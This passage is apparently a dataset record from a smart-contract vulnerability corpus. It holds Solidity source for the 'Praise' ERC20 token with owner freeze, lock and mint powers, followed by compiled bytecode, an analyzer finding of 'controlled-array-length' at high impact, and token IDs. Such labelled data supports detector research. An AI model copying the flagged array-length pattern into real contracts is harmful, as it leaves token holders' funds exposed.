allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } contract Praise is ERC20Detailed, ERC20Pausable { struct LockInfo { uint256 _releaseTime; uint256 _amount; } mapping (address => LockInfo[]) public timelockList; mapping (address => bool) public frozenAccount; event Freeze(address indexed holder); event Unfreeze(address indexed holder); event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); modifier notFrozen(address _holder) { require(!frozenAccount[_holder]); _; } constructor() ERC20Detailed("Praise", "PRS", 18) public { _mint(msg.sender, 1000000000 * (10 ** 18)); } function mint(uint _amount) public onlyOwner returns (bool) { _mint(msg.sender, _amount); return true; } function burn(uint _amount) public onlyOwner returns (bool) { _burn(msg.sender, _amount); return true; } function balanceOf(address owner) public view returns (uint256) { uint256 totalBalance = super.balanceOf(owner); if( timelockList[owner].length >0 ){ for(uint i=0; i<timelockList[owner].length;i++){ totalBalance = totalBalance.add(timelockList[owner][i]._amount); } } return totalBalance; } function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) { if (timelockList[msg.sender].length > 0 ) { _autoUnlock(msg.sender); } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public notFrozen(from) returns (bool) { if (timelockList[from].length > 0) { _autoUnlock(from); } return super.transferFrom(from, to, value); } function freezeAccount(address holder) public onlyOwner returns (bool) { require(!frozenAccount[holder]); frozenAccount[holder] = true; emit Freeze(holder); return true; } function unfreezeAccount(address holder) public onlyOwner returns (bool) { require(frozenAccount[holder]); frozenAccount[holder] = false; emit Unfreeze(holder); return true; } function lock(address holder, uint256 value, uint256 releaseTime) public onlyOwner returns (bool) { require(_balances[holder] >= value,"There is not enough balances of holder."); _lock(holder,value,releaseTime); return true; } function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlyOwner returns (bool) { _transfer(msg.sender, holder, value); _lock(holder,value,releaseTime); return true; } function unlock(address holder, uint256 idx) public onlyOwner returns (bool) { require( timelockList[holder].length > idx, "There is not lock info."); _unlock(holder,idx); return true; } function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) { _balances[holder] = _balances[holder].sub(value); timelockList[holder].push( LockInfo(releaseTime, value) ); emit Lock(holder, value, releaseTime); return true; } function _unlock(address holder, uint256 idx) internal returns(bool) { LockInfo storage lockinfo = timelockList[holder][idx]; uint256 releaseAmount = lockinfo._amount; delete timelockList[holder][idx]; timelockList[holder][idx] = timelockList[holder][timelockList[holder].length.sub(1)]; timelockList[holder].length -=1; emit Unlock(holder, releaseAmount); _balances[holder] = _balances[holder].add(releaseAmount); return true; } function _autoUnlock(address holder) internal returns(bool) { for(uint256 idx =0; idx < timelockList[holder].length ; idx++ ) { if (timelockList[holder][idx]._releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( _unlock(holder, idx) ) { idx -=1; } } } return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063b414d4b611610097578063de6baccb11610071578063de6baccb14610866578063e2ab691d146108d6578063f26c159f14610946578063f2fde38b146109a25761018e565b8063b414d4b614610729578063d26c4a7614610785578063dd62ed3e146107ee5761018e565b80638456cb59146105405780638da5cb5b1461054a57806395d89b4114610594578063a0712d6814610617578063a457c2d71461065d578063a9059cbb146106c35761018e565b80633f4ba83a1161014b57806370a082311161012557806370a082311461041c578063715018a614610474578063788649ea1461047e5780637eee288d146104da5761018e565b80633f4ba83a146103aa57806342966c68146103b45780635c975abb146103fa5761018e565b806306fdde0314610193578063095ea7b31461021657806318160ddd1461027c57806323b872dd1461029a578063313ce567146103205780633950935114610344575b600080fd5b61019b6109e6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101db5780820151818401526020810190506101c0565b50505050905090810190601f1680156102085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102626004803603604081101561022c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a88565b604051808215151515815260200191505060405180910390f35b610284610bb3565b6040518082815260200191505060405180910390f35b610306600480360360608110156102b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbd565b604051808215151515815260200191505060405180910390f35b610328610c82565b604051808260ff1660ff16815260200191505060405180910390f35b6103906004803603604081101561035a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c99565b604051808215151515815260200191505060405180910390f35b6103b2610ece565b005b6103e0600480360360208110156103ca57600080fd5b810190808035906020019092919050505061102a565b604051808215151515815260200191505060405180910390f35b610402611102565b604051808215151515815260200191505060405180910390f35b61045e6004803603602081101561043257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611119565b6040518082815260200191505060405180910390f35b61047c61124a565b005b6104c06004803603602081101561049457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ce565b604051808215151515815260200191505060405180910390f35b610526600480360360408110156104f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061158d565b604051808215151515815260200191505060405180910390f35b61054861171e565b005b61055261187b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61059c6118a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105dc5780820151818401526020810190506105c1565b50505050905090810190601f1680156106095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106436004803603602081101561062d57600080fd5b8101908080359060200190929190505050611947565b604051808215151515815260200191505060405180910390f35b6106a96004803603604081101561067357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a1f565b604051808215151515815260200191505060405180910390f35b61070f600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c54565b604051808215151515815260200191505060405180910390f35b61076b6004803603602081101561073f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d17565b604051808215151515815260200191505060405180910390f35b6107d16004803603604081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d37565b604051808381526020018281526020019250505060405180910390f35b6108506004803603604081101561080457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d75565b6040518082815260200191505060405180910390f35b6108bc6004803603606081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611dfc565b604051808215151515815260200191505060405180910390f35b61092c600480360360608110156108ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611ee3565b604051808215151515815260200191505060405180910390f35b6109886004803603602081101561095c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612057565b604051808215151515815260200191505060405180910390f35b6109e4600480360360208110156109b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612217565b005b606060008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a7e5780601f10610a5357610100808354040283529160200191610a7e565b820191906000526020600020905b815481529060010190602001808311610a6157829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b600083600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c1757600080fd5b6000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115610c6d57610c6b85612420565b505b610c78858585612502565b9150509392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd457600080fd5b610d6382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff16610faa57600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110f93383612551565b60019050919050565b6000600660149054906101000a900460ff16905090565b600080611125836126a5565b90506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011156112415760008090505b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561123f57611230600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061120f57fe5b9060005260206000209060020201600101548361253290919063ffffffff16565b91508080600101915050611178565b505b80915050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611493576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114e957600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011611709576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5468657265206973206e6f74206c6f636b20696e666f2e00000000000000000081525060200191505060405180910390fd5b61171383836126ee565b506001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff16156117fb57600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561193d5780601f106119125761010080835404028352916020019161193d565b820191906000526020600020905b81548152906001019060200180831161192057829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a163383612a20565b60019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5a57600080fd5b611ae982600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600033600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611cae57600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115611d0457611d0233612420565b505b611d0e8484612b94565b91505092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60076020528160005260406000208181548110611d5057fe5b9060005260206000209060020201600091509150508060000154908060010154905082565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ec1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611ecc338585612bc2565b611ed7848484612d90565b50600190509392505050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fa8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806131c56027913960400191505060405180910390fd5b61204b848484612d90565b50600190509392505050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461211c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561217357600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061319f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600090505b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156124f85742600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106124bd57fe5b906000526020600020906002020160000154116124eb576124de83826126ee565b156124ea576001810390505b5b8080600101915050612428565b5060019050919050565b6000600660149054906101000a900460ff161561251e57600080fd5b612529848484612f1e565b90509392505050565b60008082840190508381101561254757600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561258b57600080fd5b6125a081600554612b7490919063ffffffff16565b6005819055506125f881600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7490919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061273b57fe5b90600052602060002090600202019050600081600101549050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061279e57fe5b906000526020600020906002020160008082016000905560018201600090555050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206128546001600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050612b7490919063ffffffff16565b8154811061285e57fe5b9060005260206000209060020201600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002085815481106128b657fe5b906000526020600020906002020160008201548160000155600182015481600101559050506001600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081818054905003915081612930919061313d565b508473ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1826040518082815260200191505060405180910390a26129d181600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253290919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a5a57600080fd5b612a6f8160055461253290919063ffffffff16565b600581905550612ac781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600082821115612b8357600080fd5b600082840390508091505092915050565b6000600660149054906101000a900460ff1615612bb057600080fd5b612bba8383613126565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bfc57600080fd5b612c4e81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7490919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ce381600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000612de483600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280848152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8484604051808381526020018281526020019250505060405180910390a2600190509392505050565b6000612faf82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303a848484612bc2565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6000613133338484612bc2565b6001905092915050565b81548183558181111561316a57600202816002028360005260206000209182019101613169919061316f565b5b505050565b61319b91905b8082111561319757600080820160009055600182016000905550600201613175565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735468657265206973206e6f7420656e6f7567682062616c616e636573206f6620686f6c6465722ea265627a7a7231582002e26a5257367e3bca4631d630b30eb607d09b57c56f087ce52c5c57a28e74fd64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 14141, 12879, 2475, 12879, 2278, 2581, 2063, 16068, 2063, 2487, 2050, 2581, 2094, 22203, 2581, 10322, 19841, 2683, 22932, 2509, 9468, 2549, 2063, 19961, 16576, 2497, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 27121, 24028, 1010, 7065, 8743, 2015, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 9034, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 102 ]
